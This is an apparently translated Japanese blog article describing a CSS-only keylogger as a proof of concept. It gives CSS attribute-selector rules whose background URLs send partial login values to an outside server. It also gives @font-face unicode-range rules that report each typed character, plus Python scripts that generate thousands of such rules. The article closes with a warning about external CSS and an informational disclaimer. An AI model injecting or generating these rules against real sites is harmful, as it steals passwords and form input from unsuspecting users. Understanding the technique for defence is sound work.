CSSキーロガーを作成する

外部のJSファイルはクライアントにとって脅威のように見えますが、外部のCSSはあまり重要ではありません。 CSSルールはアプリケーションのセキュリティを脅かし、ログインを収集できるように思えますか? これが不可能だと思われる場合は、投稿が役立ちます。







被害者ページに接続されているCSSファイルのみにアクセスできる最も単純なキーロガーを実装する方法の例を見ていきます。







エントリー



少し前に、 CSSを使用してユーザーアクションを追跡する方法に関する投稿を書きましたが、「CSSを使用してフォームデータを収集できますか」という形式の質問を受けました。 おそらく、一見、これは不可能だと思われます。 しかし、 input type = "text"タグに適用することを考慮して、CSSセレクターを見てみましょう。







まず第一に、これらの目的のために属性セレクターを使用することは論理的なようです。

input [value ^ = "login"]入力すると、テキストコンテンツが文字列 "login"で始まるフィールドを選択できます。







単語の辞書を生成し、 jsfiddleパターンを使用して多くのCSSルールを作成できます。







input[value^="my_login1"] { background: url("https://example.com/save-login/my_login"); } input[value^="other_text"] { background: url("https://example.com/save-login/other_text"); } // ...
      
      





このアプローチには大きな欠点があります。そのようなスキームは、 入力属性の属性がサーバー側で最初に設定されている場合にのみ要求を送信します。 一方、フォームを送信した後、同じフォームがユーザーに返されます(フィールドは既に入力されています)が、必要な修正のリストが含まれています。 この場合、メソッドは100%動作します。







必要な組み合わせでCSSを生成する小さなスクリプトを作成します。







 import itertools from string import Template alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] cssTemplate = Template('input[value^="$password"]{background:url("$backend/$password");}').safe_substitute(backend = 'https://xx/save') for subset in itertools.combinations(alphabet, 4): print(Template(cssTemplate).substitute(password = ''.join(subset)))
      
      





したがって、GZIPを処理した後、350Kファイルに収まる58905ルールを取得します。 テキストがルールの1つに一致する(たとえば、「XXXX」で始まる)被害者ページにフィールドが見つかった場合、 xx / save / XXXXの GETリクエストを受け取ります。







ユーザー入力を処理します



事前に入力されたフォームフィールドは非常にまれです。 さらに、このフィールドの内容は、前の手順で生成した特別な辞書と一致しない場合があります。 ユーザーがテキストフィールドに情報を入力した瞬間に情報を受信できると便利です。







フォントを接続できる@ font-faceルールは、これに最適です。 フォントをセグメント化できるunicode-range命令と同様に、このユニコードコードがこのファイルまたはそのファイルが属することを明確に示します。







実際には、これは通常、言語(ラテン語、ギリシャ語、キリル文字など)によってフォントをいくつかのファイルに分割するように見えるため、クライアントはページに表示されるフォントの一部のみをダウンロードします。 fonts.google.comを使用してこのアプローチに遭遇した可能性があります。







 /* https://fonts.googleapis.com/css?family=Roboto:400&subset=latin-ext,cyrillic-ext */ /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: local('Roboto'), local('Roboto-Regular'), url(https://fonts.gstatic.com/s/roboto/v18/mErvLBYg_cXG3rLvUsKT_fesZW2xOQ-xsNqO47m55DA.woff2) format('woff2'); unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; }
      
      





同様に、独自のフォントを作成し、各文字に個別のルールを指定できます。 したがって、この文字が表示に必要になるとすぐに、ブラウザにGETリクエストを強制します。







次のjsfiddleの例を検討してください。







 @font-face { font-family: spyFont; src: url(c/d/keylogger/a), local(Arial); unicode-range: U+0061; } input { font-family: spyFont, sans-serif; }
      
      





この場合、 U + 0061は文字「A」に対応します。 文字を入力すると、 c / d / keylogger / aへのGETリクエストを受け取ります。







辞書内の文字のフォントを生成できる小さなスクリプトを考えてみましょう。







 from string import Template alphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] cssTemplate = Template('@font-face {font-family:$fontName; src:url(/keylogger/$char), local(Impact); unicode-range: U+$codepoint;}').safe_substitute(fontName = 'spyFont') for char in alphabet: codepoint = ('U+%04x' % ord(char)) print(Template(cssTemplate).substitute(char = char, codepoint = codepoint))
      
      





これらのルールを使用して、サーバーへのユーザー入力を記録するフォントを作成します。 このアプローチも理想的ではありません。キャラクターのリクエストはキャラクターごとに1回行われます。 つまり、ユーザーが「AA」と入力すると、GETが1回取得されます。







まとめると



入力[値^ = "XX"]ディレクティブと各文字のユニコード範囲ルールを静的辞書と組み合わせて適用することにより、現在のユーザー入力を予測するためにすでに重要なデータセットを収集できます。 このような組み合わせの例は、 ここで見つけることができます。







外部ソースからのプラグインCSSファイルに注意してください。







この投稿は、情報提供を目的とした概念実証としてのみ書かれています。








All Articles